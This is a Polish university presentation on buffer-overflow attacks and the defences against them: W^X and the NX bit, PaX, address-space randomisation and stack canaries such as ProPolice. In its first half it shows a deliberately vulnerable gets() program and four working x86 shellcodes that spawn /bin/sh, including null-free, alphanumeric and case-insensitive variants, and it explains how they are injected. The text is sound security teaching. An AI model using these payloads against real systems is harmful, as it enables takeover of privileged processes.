Ostatnia linia obrony przed atakiem

Podstawową przyczyną dla której możliwe są ataki na systemy komputerowe (nie licząc czynnika ludzkiego i innych mniej istotnych zagadnień) są błędy w oprogramowaniu. Najważniejszym rodzajem takich błędów jest błąd przepełnienia bufora (ang. buffer overflow) - lub pokrewne - pozwalające na wstrzyknięcie do procesu obcego kodu (lub rzadziej zmianę przepływu oryginalnego kodu).

Przepełnienie bufora - Błąd Dekady

Popularność tego błędu wiąże się z podstawową wadą tradycyjnego oprogramowania - obecnością dużej liczby parserów. W zwykłych systemach nie możemy przesłać pomiędzy programami (lub pomiędzy plikiem i programem) zserializowanego obiektu (ponieważ takowe nie występują), co najczęściej oznacza konieczność napisania własnego, niestandardowego parsera przy każdej okazji (i przesyłanie danych na przykład w formacie ASCII lub UTF8). Codziennie używane programy parsują więc parametry linii komend, pliki konfiguracyjne, polecenia użytkownika a nawet polecenia otrzymywane przez sieć (z wyłączeniem parametrów linii komend na ogół używają własnych, specjalnie napisanych parserów).

Jeszcze całkiem niedawno (w zamierzchłych czasach początków naszej szkoły średniej - lata 1996-1998) parsery te nie były wogóle sprawdzane pod względem bezpieczeństwa lub sprawdzenia te (zwane także audytami) były dopiero prowadzone (dużą zasługę mają tutaj deweloperzy OpenBSD). Znajdowano wtedy ogromne ilości (rzędu 30 na miesiąc) błędów w najważniejszym oprogramowaniu serwerowym - najczęściej były to właśnie błędy przepełnienia bufora i pokrewne. Obecnie jest dużo lepiej, ale wciąż jeszcze można spotkać jakieś nietrywialne przypadki, których nikt nie zauważył.

Główną ideą ataku polegającego na przepełnienu bufora jest takie zaingerowanie w atakowanego demona, że jego proces zamiast swojego normalnego kodu zaczyna wykonywać coś innego, w innej kolejności lub z innymi parametrami, co prowadzi do przejęcia kontroli nad procesem, a później, wykorzystując uprawnienia złamanego demona do zaatakowania reszty systemu. Najczęściej atakowane są procesy roota, a wstrzykiwany kod otwiera shella (dlatego zwany jest często shell codem) jednak istnieją znacznie bardziej finezyjne metody ataku (prawdziwi hakerzy w odróżnieniu od tak zwanych script kiddies prześcigają się w wymyślaniu co raz to nowych i dziwniejszych metod włamań - szczególnie gdy chodzi o jakiś znany serwer zajmujący się bezpieczeństwem, stronę Kevina Mitnicka i tak dalej).

Popatrzmy na prosty przykład:

int main(void)
{
	/* nikt przy zdrowych zmysłach nie będzie miał */
	/* nazwy użytkownika dłuższej niż 30 znaków */
	char user[30];

	puts("Podaj nazwę użytkownika:");
	gets(user);
	puts(user);

	return 0;
};

oczywiście w żadnym poważnym programie od lat nikt nie używa funkcji gets, a nowe wersje gcc wysyłają w przypadku jej napotkania ostrzeżenie

$ gcc -O2 overflow.c -o o
/tmp/cckYbsOI.o(.text+0x13): In function `main':
: warning: the `gets' function is dangerous and should not be used.

ale nam chodzi tylko o przykład.

Przetestujmy nasz program.

$ ./o
Podaj nazwę użytkownika:
a
a

Wydaje się, że wszystko jest w porządku. Co jednak stanie się gdy prześlemy mu więcej danych niż się spodziewa?

./o
Podaj nazwę użytkownika:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Naruszenie ochrony pamięci

Oj - chyba program odwoływał się do niewłaściwego miejsca w pamięci! Gdzie jednak nastąpiło to odwołanie? Widać, że po wykonaniu funkcji puts (bo wczytany ciąg znaków został wypisany). Ponieważ intrukcja return 0; nawet nam - paranoidalnie podejrzliwym specjalistom od bezpieczeństwa - wydaje się dość niegroźna, to chyba problemu należy szukać gdzieś indziej...
Po chwili zauważamy: Oczywiście! Nastąpiło przepełnienie bufora i wczytywany ciąg nadpisał adres powrotu z funkcji.

Co więc powinniśmy zrobić? Oczywiście zmienić wywołanie funkcji gets na

	fgets(user, 30, stdin);

albo jakąś inną bezpieczną wersję.

(Nie wiem czy wszyscy już zauważyli, ale w tym programie jest jeszcze jeden błąd: w komentarzu. Otóż w buforze wcale nie ma miejsca na 30 znaków. Z powodu umieszczania przez funkcję gets na końcu wczytanego ciągu bajtu \0 jest w nim miejsce tylko na 29 znaków!)

Wracając jednak do hakerów czyhających na nasze cenne dane. Ten z pozoru trywialny błąd może mieć ważne następstwa. Gdyby ten kod był częścią demona działającego na prawach roota, to intruz albo złośliwy użytkownik mógłby zamiast literek a przesłać do niego odpowiednio spreparowany fragment kodu podobny do poniższego

char shellcode[] =
	"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
	"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
	"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

(jest to skompilowany fragment kodu napisanego w asemblerze, który uruchamia shella odpowiednio przekierowując jego wejście i wyjście). Aby go użyć trzeba tylko wpisać ten kod do dającego się przepełnić bufora wraz z nowym adresem powrotu wskazującym na odpowiednie miejsce na stosie (i pewnie dodać pomiędzy parę nopów jeżeli shellkod potrzebuje miejsca na stosie). Przedstawiony shellkod ma co najmniej jedną zasadniczą wadę - zawiera bajty zerowe i nie przetrwa wielu funkcji operujących na łańcuchach znaków w stylu C (na przykład strcopy).

Ale nic straconego - możemy napisać inny

char shellcode[] =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Ten jest już całkiem normalnym shellkodem gotowym do użycia.

Jednak finezja hakerów jest o wiele większa. Załóżmy, że obiekt naszego ataku filtruje wczytywany łańcuch i dopuszcza tylko niektóre znaki ASCII. Chyba intruzi stoją na przegranej pozycji?
Chyba jednak nie

char shellcode[] =
  "LLLLYhb0pLX5b0pLHSSPPWQPPaPWSUTBRDJfh5tDS"
  "RajYX0Dka0TkafhN9fYf1Lkb0TkdjfY0Lkf0Tkgfh"
  "6rfYf1Lki0tkkh95h8Y1LkmjpY0Lkq0tkrh2wnuX1"
  "Dks0tkwjfX0Dkx0tkx0tkyCjnY0LkzC0TkzCCjtX0"
  "DkzC0tkzCj3X0Dkz0TkzC0tkzChjG3IY1LkzCCCC0"
  "tkzChpfcMX1DkzCCCC0tkzCh4pCnY1Lkz1TkzCCCC"
  "fhJGfXf1Dkzf1tkzCCjHX0DkzCCCCjvY0LkzCCCjd"
  "X0DkzC0TkzCjWX0Dkz0TkzCjdX0DkzCjXY0Lkz0tk"
  "zMdgvvn9F1r8F55h8pG9wnuvjrNfrVx2LGkG3IDpf"
  "cM2KgmnJGgbinYshdvD9d";

Ten shellkod nie zawiera niczego poza literami i cyframi! Jest za to wiele dłuższy i nie zawsze zmieści się w przepełnianym buforze (w dzisiejszych czasach błędy w demonach są nieznaczne i na ogół nie pozwalają wpisać na stos dowolnie długich ciągów bajtów - nie jest to jednak regułą w przypadku zamkniętego oprogramowania).

No ale jeżeli nasz program zmienia losowe litery na duże to już napewno jesteśmy bezpieczni - nie?
Nie

char shellcode[] =
"\xeb\x29"
"\x5e"
"\x29\xc9"
"\x89\xf3"
"\x89\x5e\x08"
"\xb1\x07"
"\x80\x03\x20"
"\x43"
"\xe0\xfa"
"\x29\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x87\xf3"
"\x8d\x4b\x08"
"\x8d\x53\x0c"
"\xcd\x80"
"\x29\xc0"
"\x40"
"\xcd\x80"
"\xe8\xd2\xff\xff\xff"
"\x0f\x42\x49\x4e\x0f\x53\x48";

Powyższy shellkod zadziała niezależnie od tego czy litery zostaną zmienione na duże czy nie.

Należy zauważyć, że obecnie nie spotyka się już raczej przypadków użycia niebezpiecznych wariantów funkcji i kompletnego braku sprawdzania limitów bufora. Jednak czasami wciąż jeszcze zdarzają się przypadki, gdy kontrola ta jest błędna lub niewystarczająca. Na przykład parser jakiegoś formatu plików graficznych może wczytać pole nagłówka mówiące ile zajmują dane a później błędnie przydzielić za małą ilość pamięci (lub przydzielić poprawnie ale wczytać za duzo). Dwa tygodnie temu ogłoszono znalezienie podobnych błędów w Xpdfie i Gpdfie więc jeżeli Twoje wersje są starsze niż 01.01.2005 najprawdopodobniej złośliwy wykładowca może, publikując odpowienio spreparowane notatki w formacie PDF, zdobyć uprawnienia Twojego użytkownika na domowym lub labolatoryjnym komputerze i na przykład skasować wszystkie Twoje pliki! [To oczywiście oznacza bezwzględny zakaz czytania wszelkich notatek do czasu aktualizacji obu programów!] Oczywiście jeżeli program myli się przy alokacji pamięci o jeden bajt (off by one) nie oznacza to na ogół luki w bezpieczeństwie. Jednak pomyłka o więcej niż kilka bajtów prawie zawsze daje się wykorzystać.

PaX i spółka

Ponieważ ciężko liczyć na poprawienie raz na zawsze wszystkich programów, dobre systemy operacyjne powinny udostępniać mechanizmy zmniejszające negatywne skutki ataku z wykorzystaniem tych błędów. Oczywiście najprostszym sposobem jest odebranie procesom jak największej liczby uprawnień i pozostawienie im tych rzeczywiście potrzebnych - o tym była już mowa wcześniej. Zastanówmy się jednak co zrobić aby utrudnić życie intruzowi, który próbuje wykorzystać świeżo znaleziony błąd w jednym z zainstalowanych u nas demonów działających na prawach roota.

Intruz moze osiągnąć swój cel na trzy sposoby:

  1. wstrzyknięcie i wykonanie kodu,
  2. wykonanie istniejącego kodu w innej kolejności,
  3. wykonanie istniejącego kodu z innymi danymi.

Przykładem na pierwszy sposób może być użycie zwykłego shellkodu, na drugi atak w rodzaju return-to-libc (często zapisywane return2libc - zmiana adresu powrotu tak żeby wskazywał na jakąś funkcję - na przykład biblioteki standardowej - i ew. wstawienie na stos odpowiednich parametrów), a na trzeci zmiana wartości zmiennej określającej pomyślne przejście autoryzacji.

Wprowadzenie kodu do istniejącego procesu można wykonać na dwa sposoby: albo zamapować (z prawem wykonywania) do przestrzeni adresowej procesu nową stronę albo zmodyfikować którąś z istniejących stron kodu procesu. Pierwszy sposób jest trudny do praktycznej realizacji (shellkod byłby raczej za długi) ale niestety możliwy. Co więcej żadna z powszechnie używanych technik obronnych bezpośrednio przed nim nie zabezpiecza. Natomiast próbę skorzystania z drugiego sposobu można łatwo utrudnić lub nawet uniemożliwić przez zabranie każdej wykonywalnej stronie praw do zapisu (czasami określane jako metoda W^X). Metoda ta jest bardzo często stosowana w nastawionych na bezpieczeństwo serwerów wersjach systemów operacyjnych. Dodaje ją również wiele łatek na standardowe systemy (np. PaX dla Linuksa). Oczywiście w OpenBSD stosowana jest domyślnie. Ostatnio również użytkownicy Windowsów XP mogą spać spokojnie. Microsoft wprowadził to zabezpieczenie do dodatku SP2. (Niestety Microsoft nie wysilił się nadmiernie i zabezpieczenie to nie działa na większości obecnie używanych procesorów - tych bez bitu NX - o czym niżej.) Niestety tego typu zabezpieczenie nie działa z programami, które celowo modyfikują swój kod (na przykład standardowa maszyna wirtualna Javy oraz niektóre inne interpretery) - w tym celu wprowadzono mechanizmy pozwalające na wyłączenie tego typu ograniczeń w przypadku niektórych programów.

Implementacja tego zabezpieczenia na większości procesorów nie jest skomplikowana - po prostu w opisie każdej strony w katalogach stron istnieje dodatkowy (prócz bitów praw czytania i pisania) bit pozwalający na określenie praw do wykonywania (zwany często NX od No eXecute). Niestety najbardziej popularne architektury (i386 i powerpc oraz niektóre procesory Intela zgodne z x86-64) tego bitu nie posiadają. Wtedy zabezpieczenie takie wprowadza się dzięki segmentacji (dzieli się przestrzeń adresową na połowę danych i połowę kodu i ustawia odpowiednie rejestry segmentowe). Jest to mniej wygodne i trudniejsze w implementacji, ale równie skuteczne.

Innym popularnym zabezpieczeniem oferowanym przez wiele łatek (a w OpenBSD standardowo) jest randomizacja przestrzeni adresowej procesu. Większość ataków opiera się bowiem na możliwości przewidzenia pewnych adresów w atakowanym procesie. Jeżeli te adresy będą losowe, to intruz będzie musiał je zgadywać. Zgadywanie metodą brute force powinno spowodować całą długą serię łatwych do zaobserwowania przez administratora sięgnięć do nieprzydzielonej pamięci (i w efekcie SIGSEGVów). (Jednak żadna z popularnych łat nie dodaje do jądra mechanizmu wychwytywania i automatycznego reagowania na takie przypadki. Jest to dość spora wada, szczególnie w przypadku łat typu PaX, które istnieją wyłącznie w celu automatycznego utrudniania tego typu ataków.) Do randomizacji przestrzeni adresowej dodaje się często modyfikację powodującą próbę umieszczania wszystkich stron kodu poniżej 16 megabajta pamięci wirtualnej procesu (co utrudnia pisanie shellkodów ponieważ musiałyby one zawierać bajt 0).

Ostatnim zabezpieczeniem, o którym chciałbym wspomnieć są wszelkiego rodzaju StackGuardy i znakomita łatka na gcc - ProPolice. Wszystkie one działają podobnie - reorganizują stos i pomiędzy adresem powrotu a zmiennymi lokalnymi odkładają pewną (na przykład 32 bitową) liczbę. Przy wyjściu z funkcji liczba ta jest sprawdzana. Jeżeli została zmodyfikowana, to oznacza to, że nastąpiło przepełnienie bufora lub jakiś inny poważny błąd. Wtedy program zostaje zakończony awaryjnie (nawet bez wykonywania fukcji zarejestrowanych przez aexit i destruktorów - ponieważ one też mogły zostać naruszone). Jest to bardzo pożyteczny mechanizm, bo oprócz prób ataku wykrywa błędy w programach - także tych pisanych przez użytkownika... ;-) Przy tym spowalnia kod najwyżej o jakieś 1-2%, czyli niezmiernie mało w porównaniu ze stopniem bezpieczeństwa, jaki nam oferuje. Dlatego od ponad dwóch lat gcc z ProPolice jest podstawowym kompilatorem na moim Gentoo Linux.

Na zakończenie jeszcze krótkie ostrzeżenie: te metody to naprawdę ostatnia deska ratunku. W dodatku żadna z nich nie zapewnia całkowitej ochrony (niestety wszystkie razem też nie). Dlatego są one tylko dobrym dodatkiem do bezpiecznego, często aktualizowanego i dobrze zarządzanego systemu. Pamiętajmy, że każdy łańcuch jest tak mocny jak jego najsłabsze ogniwo.

Prezentacja na Systemy Operacyjne 2004/2005 - Informatyka MIMUW.
Grzegorz Kulewski (O nas)